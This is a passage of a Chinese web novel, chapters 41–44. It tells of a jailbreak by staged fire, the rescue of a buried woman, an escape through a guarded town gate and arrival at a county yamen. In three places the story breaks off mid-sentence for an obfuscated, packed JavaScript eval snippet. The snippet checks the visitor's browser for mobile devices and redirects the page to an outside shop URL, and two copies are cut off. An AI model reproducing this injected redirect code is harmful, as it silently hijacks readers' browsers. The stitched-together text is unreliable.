说到这儿，银子十分嫌弃地朝外屋一努嘴：“老高啊，他懒！胆子也小，就知道看店。” 苏萦稍放松了些，会意地嘻嘻笑了。 “他们巡检房的牢饭，是归我们家送的。明儿一早，我送饭去，帮你看看你那几个朋友都在不在。”银子俯下身把炉火扇旺，合上炉盖，站起身来：“我把炕烧热了，你好好睡一觉。别胡思乱想！小丫头心思重，当心不长个子。这会儿你急也没用，都等天亮了再说！” 银子的话听得苏萦心里霍亮了不少。有还哥哥那么有本事，没准他们早脱险了呢。哎呀，他们要是跑会跑到哪儿去？可别一溜烟跑回京城去，把我自己落在这儿不管了… 胡思乱想了不一会儿，疲惫与困倦袭来，她缩在暖和的被窝里入了梦乡。 41.怎么两股烟？ 夜色如墨，萧征与宝冉将马匹藏于附近巷口阴影中，徒步潜入巡检司后巷。胃痛虽稍缓，但隐痛仍如影随形，萧征脸色苍白，强作镇定，目光敏锐地扫视四周。 巡检司后门外悬挂的两盏灯笼光线昏黄，四名差役持械而立，院内人影幢幢，巡逻的脚步声时远时近。守卫显然比平日森严数倍。 “殿下，守卫太多，单凭咱们两个人怕是应付不来。”宝冉压低声音，气息微促。 萧征凝目观察片刻，低声道：“宋昆料定我们今晚会来救人。此时强攻，正中他下怀。先探明郭娑是否关在此处。” 直呼郡主名讳？宝冉心中一动，不着痕迹地迅速瞥了萧征一眼。 二人绕到巡检司后侧，那里有一排低矮厢房，窗棂用一道道木栅相隔，应是牢房所在。透过缝隙，可见内里昏暗，隐约传来呻吟咳嗽。但内里漆黑一片，无法确认郭娑所在；贸然靠近窥视，可能惊动牢中其他犯人。 正欲寻机再探，一阵脚步声由远及近。二人迅疾闪身，隐于墙角阴影中。只见两名差役提着灯笼走来，边走边口中抱怨：“宋巡检也太过小心了，让咱们十二个时辰轮班守着那个北边来的娘们儿，连个囫囵觉都不让人睡了。” “少废话，那女人可是重要人质，她要是跑了，你我的脑袋都得搬家！” “跑不了！你没看她小胳膊吊着呢，”另一个差役自己把胳膊放在胸口比划着：“就一只手能动，往哪儿跑啊她？” 萧征与宝冉对视一眼，心中稍定：郭娑确在牢中，暂时无恙，苏萦也没有落到他们手里。 待差役走远，宝冉急道：“殿下，既已确定郡主在此，不如今夜就——” 萧征摇头：“守卫森严，我们人少，又无内应，强攻若失败，打草惊蛇，再想营救难上加难。先回去，从长计议。” 东方天际已泛起鱼肚白，二人只得悄然撤离。 一大清早，银子如常提着硕大食盒前往巡检司牢房。 牢头打着哈欠开门：“高家的，今日怎么这么早？” 银子赔笑：“家里来了远客，想着早点送完饭，回去张罗张罗。” “远客？”牢头警觉地蹙起眉头：“你家有外乡人？” 远在牢房最里隔间，本在角落中蜷坐的郭娑，猛地警觉，托着伤臂，膝行蹭到牢门边，暗中观察着与牢头寒暄的女人。 “什么外乡人！”银子打着哈哈含糊过去：“我娘家两个表妹！就咱们边上那个镇子的！牢头兄弟，您成家了没有？我那两个表妹都是好年纪，好相貌——” 牢头摸摸后脑，咂吧咂吧嘴：“可惜啊，你说晚了！” “那有什么晚不晚的！”银子爽利地笑着一挥手，边挽着大食篮往里走，嘴上还应酬着：“您要是有什么表弟，侄儿的，像您似的，吃公家饭的，可帮着多留意啊！我家有两个好姑娘等着嫁人呢！” 她一边分发烧饼和菜汤，一边留意牢房内的情形。在最里间，她瞥见了郭娑。 郭娑独自坐在干草堆上，手腕包扎的布条已污损，发髻微乱，但背脊挺直，神色平静中带着警惕。银子快速地打量着她，她的眼神也敏锐地一直追着银子。 根据苏萦提供的她那些同伴的体貌特征，有个姑娘手腕受伤了，胳膊还吊着。 正是了。银子心中笃定。 轮到给郭娑送饭时，银子趁牢头转身倒水的间隙，将手中烧饼飞快塞进郭娑手中，指尖在烧饼底部轻轻一按。 郭娑会意，不动声色地接过。触手察觉馍馍底部有一小块硬物。 “哎呀，走了！”银子挽着空荡的食盒转身往外走，故意扬声说道：“我中午还来啊！” 等银子走远，狱卒也百无聊赖地把腿翘在桌上打起了瞌睡，郭娑侧过身子挡住自己的手，把那硬物推出来，是一根弯曲的铁丝。有了这个，牢门上缠着的铁链锁并不难开。郭娑还留了个心眼，虽已一天一夜滴米未进，饥肠辘辘，还是先衔住饼的一角，单手小心地撕开，果然一张卷成细卷的纸条从里面掉落。 她背着人捻开纸条，上面的字勉强可辨：“萦安，莫怕，等我救援。” 郭娑心中一松，激动得眼泪都快要涌出。总算是有人惦记着营救自己。她将铁丝藏入袖中，纸条和着饼一起嚼碎咽下。 中午还来…她咀嚼着那厨娘最后留下的话。那一定是说给她听的，她得趁早准备。 铁丝伸进锁孔，一点一点地试探，单手操作十分困难，她忍痛用那只伤手托着，边试边留意着牢房另一侧尽头的狱卒，隔壁和对面的狱友，额上密密地出了一层细汗。 终于，锁膛里传来微不可闻地“咔哒”一声，锁开了。她如释重负，却只敢自己轻叹一声，用手轻轻地托着锁链，把它虚挂在门上，防止它滑脱引起注意。 时间简直不流动，一上午的时光分外漫长。郭娑盯着身后的那扇高耸的木栅气窗，投进来的日光角度仿佛毫无变化。 她的心时刻提着。 外头隐隐骚动起来，她怀疑是自己紧张过度的耳鸣，竖起耳朵来确认。 “哎呀，牢头兄弟！”耳边突然响起那个她期盼已久的声音，那个厨娘又提着食盒出现在门前：“外面吵吵闹闹干什么呢？好像说哪儿冒烟了？” “啊？”牢头狐疑地把腿从桌上撂下来，站起身探出头查看。 “走水了！走水了！”门外有人敲着锣大喊着经过。 犯人们都听得分明，纷纷骚动起来。 “都别动，都别动！”牢头用手上的棍子敲击着木栅恐吓：“都给我老实点！” “救火，都出来救火！”外面的人喊的急，牢头也坐不住了，扔下一句：“你帮我看着点儿啊！”也冲出去寻木桶救火。 “啊？我一个妇道人家…”银子故作无措，对着牢头的背影喊：“我可管不了啊！我送完饭就得走！” 牢头才一出门，银子利落地从头上抽出一根挽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856408|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发的竹筷子，一扬手就丢出了狭窄的后窗。 说时迟那时快，两只黝黑粗壮的大手猛然从窗外探入，十指如铁钳般握住腐朽的木栅，狠力一掰——“咔嚓！”木栅应声断裂，大片天光倾泻而入。 “郭姑娘，快！”郭娑一把推开牢门，搭上后墙，银子在下面奋力把她托举起来。 郭娑费力地蹬着墙面，手臂极力向从窗口伸进的那只大手延伸。 “有人劫狱，有人劫狱！”牢房中其他犯人骂骂咧咧地挤上前来：“把我们的门也打开！” “呸，你们都是活该吃牢饭的！”银子这边拼命把郭娑的脚尖往上抬，还有精力回头朝那些手臂伸出牢门栅栏老远，想抓住她衣襟的犯人们啐一口。 “抓住了！”郭娑大喊一声，紧接着就被一股大力生拉硬拽出狭小的顶窗。脆弱的手腕角度调整不及，在窗户转角被碾压了一下，简直痛得她要尖叫，可求生的意志还是支撑着她奋力向外搏扎。 “郭姐姐！”终于挤出窗口，被那大汉从梯子上抱下，墙下竟是一身素衣的苏萦，一见她就忙着把一件和她身上那件差不多的土布衣裳往她身上套：“快穿上，我们走！” 三人跌跌撞撞冲向后巷等待的马车，银子身手矫健，从前门冲出来，倒比他们还早到，一把从高掌柜手里抢过缰绳，朝身后吆喝：“都坐稳了吗？驾！” 巡检司中浓烟滚滚，人们忙于救火，乱成一团，根本没人注意送饭的马车走得似乎比平日里都急。 走出好远，厨子掀开车帘往回看，好奇道：“咦？怎么两股烟儿？” “两股吗？”苏萦好奇的脑袋也挤过来：“真的诶！” 银子用胳膊肘顶了一下高掌柜：“你们怎么放的火？不说好烧他们柴房吗？” “对啊，可是现在前院也着火了！”厨子歪着头，十分困惑地盯着那片多出来的火光呢喃：“那就是他们自己的事儿了，跟咱们不相干。早知道他们今天本来就要着火，咱们还费这么大的劲干嘛呀…” 此时，在前院放火的萧征也发现了后院的异状。他才引开并甩掉巡逻守卫，正气喘吁吁准备赶去后院接应宝冉，一抬头，却见牢房门前的柴房位置也同样浓烟升腾。 困惑同时充满了两波人的头脑。 宝冉趁乱捂着口鼻冲进牢房，房中满是黑烟，刚才还骂骂咧咧的犯人们已经被烟熏的滚在地上呛咳不止，徒劳地拍打着牢门叫救命。 宝冉心急如焚地快速扫过一张张犯人扭曲的面孔，目光最后定格在最里间洞开的牢门和残破的后窗上。 郡主竟已趁乱自行脱身了？！ 宝冉下意识转头往回跑，正赶上牢头回来，堵住她的去路：“谁！咳咳，干什么的！”牢头厉声喝问，烟雾中面目模糊。 就在此时，一道身影自牢头身后闪过，一记精准手刀将其劈晕。烟影摇曳间现出萧征的脸庞。他一把抓住宝冉手腕，声音短促： “快走！” 42.鸳鸯债 火光在牢房外跃动，映得室内光影凌乱。宝冉被萧征拉住手腕，脚下却有一瞬的迟疑。她回头扫过那些在栅栏后伸出手臂，面目被恐惧和求生欲扭曲的囚犯，内心挣扎着压低声线：“殿下，这些犯人……若放了他们，或能引起更大骚乱，方便我们脱身。” 萧征脚步不停，目光锐利地扫过那一张张脸，声音斩钉截铁：“不可。牢中鱼龙混杂，未必全是蒙冤者。其中若有凶徒，放出便是纵虎归山，祸害乡里。此时你我是泥菩萨过河自身难保，容不得半分宋襄之仁。走！” 他脚步不停，可心中一滞。真正的十八岁的他，一定会毫不犹豫地放他们出来。可他不再是那个热血纯粹的少年，他的心冷了硬了。前世的多少次善举换来的是让他悔恨的恶果，他赌不起了。 宝冉闻言，强迫自己压下心中那点犹豫。殿下说得对，此刻他们必须安全脱身，才能图谋后续。 就在这时，杂乱的脚步声和宋昆气急败坏的吼叫声已至门外：“快！去看看那女人还在不在！” “走！”萧征猛一回头，率先冲向那扇被郭娑撞破的后窗。窗外天光大亮，指引着唯一的生路。他身形矫健如猎豹，单手撑住窗沿，轻盈一跃便翻了出去，随即立刻返身，竟以绝佳的腰力倒挂下来，将手臂伸向窗内的宝冉：“手给我！” 宝冉毫不迟疑，纵身跃起，抓住萧征的手。就在她双脚离地，被萧征大力向上提拉的刹那，牢房门被“砰”地撞开！ 宋昆领着众衙役冲进来，正瞥见萧征倒挂拉人的惊险一幕，以及他半隐在浓烟中依稀可辨的熟悉面容。 “是步星辉！”宋昆瞳孔骤缩，厉声尖叫：“他们从后窗跑了！快去后院，包抄！绝不能放走他们！” 萧征猛地发力，将宝冉彻底拉出窗口。两人落地，毫不停留，一前一后翻出后墙，顷刻间隐入街巷里熙熙攘攘的人群中。 “郭娑定是沿此路逃走的。她无马匹，跑不远！”途中，萧征快速分析，立即决断：“你我分头，沿这两条岔路搜寻，无论有无发现，天黑前在鬼荒地会合！” “是！”宝冉应声，果断向着另一条小路跑去。 夕阳西沉，宝冉到达两人约定碰头的鬼荒地。寻寻觅觅一下午，还是空手而归，又时刻吊着心担心追兵赶来，此时已是身心俱疲。 郭娑如同人间蒸发了一般，不见丝毫踪迹。宝冉脸上难掩焦灼，心中疑虑重重：她手腕有伤，孤身一人，能跑到哪里去？莫非…已遭不测？不，听宋昆的话，郭娑一定已经顺利出逃，她找不到，那宋昆等人也一定找不到。郭娑此时，一定是安全的。 宝冉只身潜入那片阴森的荒地，心中五味杂陈。一切事情皆由这片荒地而起，甘蔗林在黄昏晦暗的天光下如同沉默的鬼影。 突然，宝冉发现远处荒地边缘，有几个人影鬼鬼祟祟，正在奋力挖掘什么。 宝冉眼尖，一眼看出，领头的人正是宋丘！ 宝冉血气上涌，生怕他们是在处理郭娑的“尸身”，怒意与惊惧交加，就要冲上前去。突然，一只强有力的手猛地从后方探出，精准地捂住她的嘴，同时将她整个人扯进旁边一丛茂密的野生甘蔗后。 宝冉浑身一僵，猛地回头，待看清萧征的脸，才放下心来，无声地朝他点点头。 萧征松开手，目光如鹰隼般锁定远处。只见宋丘等人将什么重物扔进坑底，开始迅速填土。动作慌张，不时警惕四望。 “他们在埋什么？”宝冉心脏狂跳。 萧征眉头紧锁，目光一直未从那伙人身上移开：“无论是什么，绝非光明之事。等他们离开。” 那几人草草将土踩实，又胡乱扔了些枯枝败叶做遮掩，便如同身后有鬼追着般匆匆离去，身影很快消失在晨雾与蔗林深处。 “过去看看！”萧征低喝一声，与宝冉如离弦之箭冲至那片新土前。顾不上寻找工具，两人直接用手奋力挖掘。泥土尚松，很快便触到了衣物。 “是个人！”宝冉急道。 萧征加快速度，将那人的头脸刨出——竟是满脸泥土、双目紧闭、被布团塞住嘴的宋丘媳妇！她双手被反绑，已然昏迷。 “糟了，他们杀她灭口！”萧征面色骤变，迅速探向其颈侧动脉，指尖传来微弱却持续的跳动：“还有救！宝冉，快，帮我把她挖出来！” 巡检司失火没一刻功夫，旺客来酒楼的马车悠悠地驶到锦糖镇东门，混进排队出镇的行人车马里。 门前气氛肃杀，栅门半闭，六名持刀差役严阵以待，对出镇行人车马逐一搜检，队伍缓慢移动，不安与焦躁弥漫在空气中。 高掌柜夫妇俩驾着马车缓缓靠近队尾，厨子跳下马车来跟着走，兼着看看热闹。车内，郭娑透过帘缝望去，心弦紧绷。她已换上粗布衣裙，发髻低挽，脸上刻意抹了灰土，装成常年风吹日晒的模样。她低着头，将包扎的手腕深深掩在袖中。苏萦和她作相似打扮，却全不见紧张小心，还忍不住好奇地把车帘掀开一角，观望着外头的动静。 镇门旁的土墙上，贴着几张通缉画像。画风非常简略，画中之物似人非人。 不过令人捧腹的是，竟也都奇迹般地抓住了人物特点。 若没看见这些画，苏萦还真没注意过，“步星辉”的嘴虽然不大但嘴唇略有点厚，袁鸣天生有两撇下耷的哭丧眉，“户部清吏司苏xx”有一双铜铃般的大眼睛，一对圆溜溜的大耳朵，人中上一撮滑稽的小胡须。 时间紧迫，门前的守卫还不知道郭娑也跑了，不然——苏萦偷瞥了郭娑一眼，私心觉得通缉令上会给她画上一个大鼻子。 “我的天爷呀，这能抓住咱们才怪呢。”苏萦拼命抿嘴忍住笑，用胳膊轻轻碰了碰郭娑，极小声道：“郭姐姐你说，整个锦糖镇，就找不出一个会画画的了吗？” 郭娑紧张之余，一瞥那些通缉令，也被那拙劣画功弄得哭笑不得，心情才略微放松了一点，车子又辘辘往前移动了一段，要轮到他们了。 一名年轻差役走上前，板着脸：“停车，检查！车上什么人？去哪儿？” 银子跳下车辕，熟络地迎上去，脸上堆起热切的笑：“哟，是这位兄弟当值啊！辛苦辛苦！” 那差役见了巡检司的熟脸，面色稍有缓和：“哟，高家大嫂！跟我哥这是出镇子干嘛去啊？路引给我看一下。” 银子利索地从怀里掏出路引，一边毫不迟疑地递上来，一边熟稔地拉起家常：“送我两个妹妹家去呗！” 一见那人狐疑地往车里张望，银子赶忙先声夺人：“哎呀兄弟，你这小伙子年纪轻轻的记性就不好啦？我两个娘家妹子不是半个月前来的吗？当时也是你站岗，我还说，你看我这俩妹子多水灵，相中哪个，嫂子给你撮合撮合来着！” 差役一愣，疑惑地摸摸脑袋，抬头盯着银子的脸一脸茫然：“嫂子，你可没说过这话！半个月前？肯定那天不是我当班，你给记混了。” “是吗？”银子皱起眉头来像在努力回想：“不是你吗？我怎么记得就是你啊？” 忽然，一只细白小手大喇喇地一把挑起车帘，两张秀丽的脸蛋儿露出来。里面那个没想到车帘突然被拉起，目光躲闪着羞怯地低下了头；外头那个却好奇地探出小脸来，一双明眸显得格外灵动。她先好奇地朝那差役脸上仔细瞧了瞧，随即转向银子，声音清脆，带着点天真娇嗔：“长姐！咱们来的那天看见的真不是他！我还记得那天那个长什么样儿。这个比那个长得更高大，模样…也更周正些呢！” 说完，还飞快地瞟了差役一眼，眼波流转，似羞似怯。 “哎哟！”银子赶忙回头瞪了苏萦一眼，作势轻斥：“瞧我小妹这张嘴，没个把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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直到完全看不见镇门轮廓，苏萦才放下挥动的手绢缩回车厢内，和郭娑同时长长地舒出一口气。紧接着，刚才那荒谬绝伦的“美人计”戏码涌上心头，两个姑娘对视一眼，再也忍不住，扑哧一声笑了出来，起初还捂着嘴，随即越想越好笑，索性放开了声音，笑作一团。 “华容妹妹，”郭娑难得笑得花枝乱颤，用未受伤的左手食指轻轻点了点苏萦的额头：“这下好了，你可是凭空背上一笔鸳鸯债了！我看你怎么收场！” “那又怎样？债多不压身，想娶我的人多着呢！”苏萦浑不在意，把那条手绢扯起来蒙住脸，含羞带怯娇滴滴地扭捏作态道：“好哥哥，我等着你娶我来呢！”话没说完，自己先笑倒在车座上。 “不行了不行了，笑得我肚子疼，脸都酸了！我要透透气！”苏萦抹一把笑出来的眼泪，用手背摸摸笑红笑热了的脸，清了下嗓子整整仪容，这才重新凑到车窗边，掀开车帘，让凉风吹散这满车的笑意。 马车已驶上官道，将锦糖镇的屋舍远远抛在后面。冬日的原野一片萧索，收割后的甘蔗田只剩整齐的根茬，裸露出的红土地在稀薄的阳光下显得格外沉寂，默默等待着来年春天的耕作。远处有稀稀拉拉的枯树，更远处是朦胧的山影，天地间一片空旷的苍黄。 就在这单调的景色中，苏萦的视线边缘，忽然捕捉到田埂尽头一个极不协调的，正在移动的黑点。起初她以为是冬日里从山上下来觅食的什么动物，但那移动的姿势实在古怪，跌跌撞撞，时快时慢。 她眯起眼睛，凝神望去。 那不是什么动物。那是一个人。一个头发蓬乱如草、衣衫在奔跑中被勾扯得破破烂烂的人。那人似乎全无方向，只是在一片收割后的田地里深一脚浅一脚地胡乱狂奔，时而踉跄摔倒，又手脚并用地爬起，继续奔跑，嘴里仿佛还在无声地嘶喊着什么，姿态癫狂。 那是不是——？电光石火间，苏萦的心猛地一跳。 “宋家大嫂？！”苏萦失声惊叫：“银子姐，快停车！” 43.一个疯老太太比十头猪都难抓 高掌柜勒住马，看看远处田埂上那个癫狂奔跑的身影，有些犹豫地回头：“少主，这…这疯老太太，咱们还要带上？一路去曹州可不近便，她这样…” “带！必须带！”苏萦斩钉截铁，小脸上满是认真，急声道：“她是人犯，更是苦主！要想把宋丘宋昆一伙连根拔起，没她不行！” 话音未落，她已利落地跳下马车。银子几乎同时跟上，两人如同离弦的箭，一前一后冲下官道，踏进收割后坑洼不平的田埂。 郭娑手腕有伤，不便剧烈行动，便自觉留在车边，牵住有些不安的马匹。“当心啊！”她朝苏萦的背影喊了一句。 厨子和高掌柜也忙不迭地下车。厨子体型壮硕如小山，跑起来地面似乎都在微震，速度却实在快不起来，呼哧呼哧落在后头。高掌柜眼神不好，眯缝着一双小眼睛在田埂和沟垄间深一脚浅一脚地跑，踉踉跄跄，行动倒比厨子还慢。 “宋家大嫂！别跑了！我们是来帮你的！” “大娘，停下！我们不是坏人！” 银子和苏萦边追边喊，声音在空旷的田野里回荡。 那老太太却充耳不闻，甚至跑得更快了。她赤着脚，对田地的熟悉仿佛刻在骨子里，尽管姿态有些狼狈，但在根茬和土块间闪转腾挪的灵巧劲儿真是让人叹为观止。真如镇上人所言，“体力不输男人”。把后面追得气喘吁吁的两人渐渐拉开距离。 “呼…呼…这大娘属兔子的吗？” 苏萦撑着膝盖，胸口起伏。 银子也跑得额头见汗，她性子急，眼见越追越远，四下看看，弯腰捡起一块半个拳头大的土坷垃，拿在手里掂了掂。 “银子姐，你干嘛？” 苏萦有不好的预感。 银子没答话，瞄准前方那跌跌撞撞的背影，手臂一扬——“走你！” 土块朝前划了个弧线，砰地一声闷响，老太太应声向前扑倒，趴在田垄里不动了。 “啊——！银子姐！” 苏萦吓得魂飞魄散，尖叫道：“你把她打死了！” 银子快步往前赶，头也不回，喘着粗气：“死不了！打的是背，又不是脑袋！晕一会儿罢了！” 她回头，朝还落在后面的两个笨手笨脚的男人吼道：“你们两个！磨蹭什么呢！快点儿！等着她醒过来再跑一回啊？” 高掌柜和厨子连滚带爬地加速，总算跌跌撞撞聚拢到老太太倒地的地方。几个人都累得东倒西歪，或坐或瘫，大口喘气。 厨子一屁股敦实地坐在地上，看着地上昏迷的老太太，气喘吁吁地感慨：“哎哟我天爷呀…一个，一个疯老太太，比十头猪都难抓！” 他歇了两口气，忽然想起什么，硕大的身躯又拱起来，爬到老太太身边，用他那蒲扇般的大手捏开老太太的嘴，另一只手从怀里掏出个小纸包，将里面一点褐色药粉倒了进去，然后合上她的嘴，在喉咙处顺了顺。 “哎！哎！” 苏萦刚缓过劲，见状又大叫：“别掐死她呀！” “没掐死！给她吃了药！” 厨子回头，憨厚的脸上带着一副“这都不懂”的表情：“吃了能睡三天三夜！这回可不用怕她跑了！” “三天？” 苏萦的眼睛瞪的像通缉令上那么大：“什么药这么厉害？” “独家秘方！” 厨子更得意了，小心地把空纸包收好，“我这祖传的蒙汗药，一小包就能药倒一大桌人！” 苏萦回想起昨晚自己吃得津津有味的拔丝山药，莫名地有点后怕。 她看向厨子那张朴实憨厚的圆脸，眼神里真切地多了几分敬畏。 老太太被厨子轻松地扛在肩上，像扛一捆干草似的带回了马车边。车厢里空间有限，厨子就随手将昏睡的老太太安置在了苏萦和郭娑旁边的位置上。 郭娑自那晚地洞惊魂后，对这位状若疯癫的老妇人仍有难以克服的恐惧。见她被放进来，即使是在昏迷中，郭娑也不由自主地欠身向车厢另一侧缩了缩，别过脸，避开目光，双眼只盯着窗外流逝的荒凉景色。 苏萦细心地察觉到了她的不适，连忙挪动身子，又示意银子姐坐过来。两人一左一右，将郭娑与昏睡的老妇隔开。 “郭姐姐，别怕，她睡着了，厨子说能睡好久呢。” 苏萦轻声安抚。 马车再次缓缓移动。苏萦安置好郭娑，自己却忍不住转过头，目光落在老妇人那张即使在沉睡中也难掩憔悴、布满污垢与岁月沟壑的脸上。阳光透过车窗，柔和地照亮了她花白散乱的头发和不再年轻的轮廓。 看了一会儿，苏萦忽然轻声说：“她年轻的时候……一定是个很好看的女子。” “是，” 银子就坐在对面，闻言也端详了一下，带着一声轻叹：“听镇上的老人闲扯过，她男人和儿子还没走那会儿，宋河家的媳妇，可是咱们锦糖镇数得着的美人儿。不光模样好，精气神儿也足，眼睛倍儿亮，说话办事都爽利，跟现在……” 她没说下去，只是叹了口气，摇了摇头。 西斜的日头把曹州城古朴的城门楼染成暖金色时，苏萦一行的马车终于吱呀呀地驶入了城门。相较于锦糖镇的紧张闭塞，州府之地显然繁华开阔许多，街市熙攘，人流如织，让在荒凉官道上颠簸了半日的几人，恍然有种重回人间的感觉。 马车并未在热闹处停留，而是七拐八绕，寻了处相对僻静的街角停下。高掌柜这才长长舒了口气，一直紧绷的肩背松弛下来。他跳下马车，环顾四周，确保周围无人注意，这才小心翼翼地从怀中贴身内袋里，取出一封用油纸包得严严实实的书信，郑重地双手递给苏萦。 “少主，这封信，您看看吧。” 他的神色有些复杂，像是终于完成了某个重要的托付：“它和你们，几乎是前后脚到的锦糖镇。” 苏萦疑惑地接过。她拆开油纸，里面是一封盖着朱红印记的信函。展信细读，她的眼睛渐渐亮了，随即闪过一丝恍然与振奋。 “是新任曹州县县令的荐书！” 她低声对凑近看的郭娑说道，语气中带着惊喜：“原来之前与宋丘他们沆瀣一气，常年收受贿赂的那个县令，近日突然被调离了！这位新任的梁县令，正是今日到任！” 信是苏侯爷的手笔，寥寥数语，点明新任县令乃可靠之人，嘱她们若在锦糖镇遇到棘手之事，可持此信往见。 这简直是雪中送炭，绝处逢生！宋昆和宋丘的势力盘根错节，多半与旧任县令勾连，但这新来的县令，却是一张未被污染的“白纸”，且如今又得了父亲的引荐。 高掌柜看着两个姑娘满面喜色，也宽慰地笑了笑，但随即又露出些无奈与局促的神色，艰难开口：“少主，郭姑娘，我们……就只能送你们到这儿了。前面就是州府衙门，我们一介草民，实在没那个身份和胆子，陪着二位去见青天大老爷。往后的事，还得靠你们自己了。” 银子也跳下车，拍了拍身上的尘土，语气爽利地接口：“是啊，见了官，我们不会说话，反而坏事。接下来的路，得你们自己闯啦！” 苏萦心中顿时涌起强烈的不舍与感激，更夹杂着深深的愧疚。她看着银子姐依旧明亮却难掩疲惫的眼睛，又看看厨子那憨厚朴实的笑眯眯的脸，想到他们为了帮助自己，不惜得罪地头蛇…… “银子姐，高掌柜，那你们……怎么回去啊？” 苏萦的声音有些发涩，“你们帮了我们这么大的忙，宋昆他们一定不会善罢甘休，巡检司那边的差事……” 她没说下去，但意思显而易见。银子姐在巡检司送饭的活计，此番之后，定然是丢了，在宋昆等人垮台之前，他们的人身安全都会受到威胁。 “我们不回去啦！” 银子大手一挥，说得轻松随意，仿佛只是临时决定明天不去赶集：“家当细软，值钱的玩意儿，早收拾好都在这车上了！正好，老高老家在邻县，我们回去住一阵子，看看亲戚，歇息歇息！天大地大，还能饿死我们两个大活人不成？” 高掌柜也笑着点头附和：“对， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老郎中见多识广，看了看昏迷老妇的凄惨形容，又看了看两个衣着朴素，满面愁容的“外甥女”，最后把那张诚意十足的银票展开仔细辨认了一下真假，这才捋了捋胡子，叹道：“真是造孽啊……先将病人安置在后院静室吧，老夫尽力而为。” 安顿好最关键的人证，苏萦和郭娑心头一块大石落地。两人快步走出医馆，来到系马的木桩前。 只剩下她们两人了。苏萦看着那匹高头大马，又看看郭娑吊着的右臂，有些犯难：“郭姐姐，我可不会骑马呀。你的手又……要不咱们牵着马走过去吧？” “看这日头都偏到哪儿了？走着去，来得及吗？”郭娑却已走到马侧，左手熟练地检查了一下鞍辔，竟回头对苏萦露出一个混合着英气与洒脱的浅笑，那是经历逃亡与共患难后，褪去了一些矜持与隔阂的真诚笑容。 “小瞧我啊？” 她声音清亮，透着自信：“北漠的女儿，哪有不会骑马的道理？别说单手，便是无鞍，我也能驰骋草原。上来吧，” 她左脚认镫，左手一撑马鞍，竟以一个漂亮利落的动作翻身上马，稳稳坐定，然后伸出手把苏萦一把拉上了马。 “郭姐姐，你能单手控马？好厉害！”苏萦坐定，由衷惊叹。 郭娑帅气一笑：“抱紧了，别摔了你。” 夕阳的余晖勾勒出郭娑骑在马上的挺拔侧影，发丝微扬，明明穿着粗布衣裙，却莫名有种飒爽飞扬的神采。苏萦看得微微一愣，随即也笑了，心中的忐忑被这股豪气冲散不少。她坐在郭娑身后，紧紧搂住郭娑的腰。 “驾！” 郭娑左手控缰，轻磕马腹。骏马迈开步子，由缓至疾，向着州府衙门的方位小跑而去，将医馆、高掌柜和银子的马车、一路的颠沛与惊险，都暂时抛在了身后。 街道两旁的屋舍行人快速向后退去，风拂过面颊。苏萦将脸颊抵在郭娑背上，能摸到她操控马匹时绷紧的结实臂膀，就像她母亲的一样，一下就让她感到安心。 前路未知，但至少此刻，她们在一起，正向着可能的光明，并肩前行。 44.“赏你，二十个耳光。” 夜幕降临，曹州府衙高大的门楼在灯笼昏黄的光线下显得格外肃穆森严。苏萦与郭娑赶到时，两扇厚重的朱漆大门已然紧闭，只余侧边一道小门虚掩。 好歹叫开了门，递上那封书信去，在门外吹着冷风左等右等，出来相迎的却并非县令本人，而是一个身着青衫，留着两撇鼠须的师爷。他捏着信，就着门房提着的灯笼光，眯着眼上下打量着眼前两名年轻女子。衣着朴素，风尘仆仆，一个还吊着手臂……穷酸相。 他脸上立刻便浮起毫不掩饰的怀疑与怠慢。 “嘉裕侯的亲笔信？”师爷的嗓音拖得长长的，满是狐疑：“二位姑娘，可不敢作假呀？侯爷何等身份，岂会……” 话未说完，那信已被一只白皙的手闪电般抽回。 苏萦将信重新揣回怀里，动作干脆利落，下巴微扬：“信既已验过，是真是假，非你所能置喙。我们要见梁县令。” 师爷被这突如其来的动作弄得一愣，随即干笑两声，敷衍道：“不巧，实在不巧。梁大人今日方到任，晚间有本地乡绅设宴接风，此刻尚未回衙。二位不如先寻个客栈安顿，明日再来？” “我们是外乡人，无处可去。”苏萦脖颈一梗，语气不容置疑：“既如此，我们便在此等候大人回衙。你是府中师爷，总要给我们安排个暂时歇脚之处。三言两语想打发了我们，这就是贵衙的待客之道？” 师爷被她那双在昏暗光线下依然亮得逼人的眼睛盯得有些不自在，又见两人气度确与寻常村姑不同，心里有些犯嘀咕，终究不敢完全怠慢，只好侧身将她们让了进去，嘴里却小声嘟囔：“既是侯爷的客人，怎地如此……罢了罢了，跟我来吧。” 入门之后，待遇便急转直下。那师爷到底没把这两个“来历存疑”的年轻女子放在眼里，随手将她们交给了内院一个管杂事的婆子。那婆子生得尖嘴猴腮，一双三角眼滴溜溜在苏萦和郭娑身上转了几圈，见二人衣着寒酸，又听得师爷含糊其辞，心中立刻有了计较，言语立马刻薄起来。 “哎哟，这大晚上的，你们这俩丫头打哪儿来啊？好人家的姑娘，哪有这么晚还在外面乱晃的。咱们县衙清静地方，可不是什么人都能留宿的。”她引着二人穿过回廊，来到后院最偏僻角落的一间小屋前，推开吱呀作响的木门，一股陈年灰尘混合着霉味扑面而来。屋内堆着些破旧桌椅、箩筐，蛛网横结，显然久未使用。 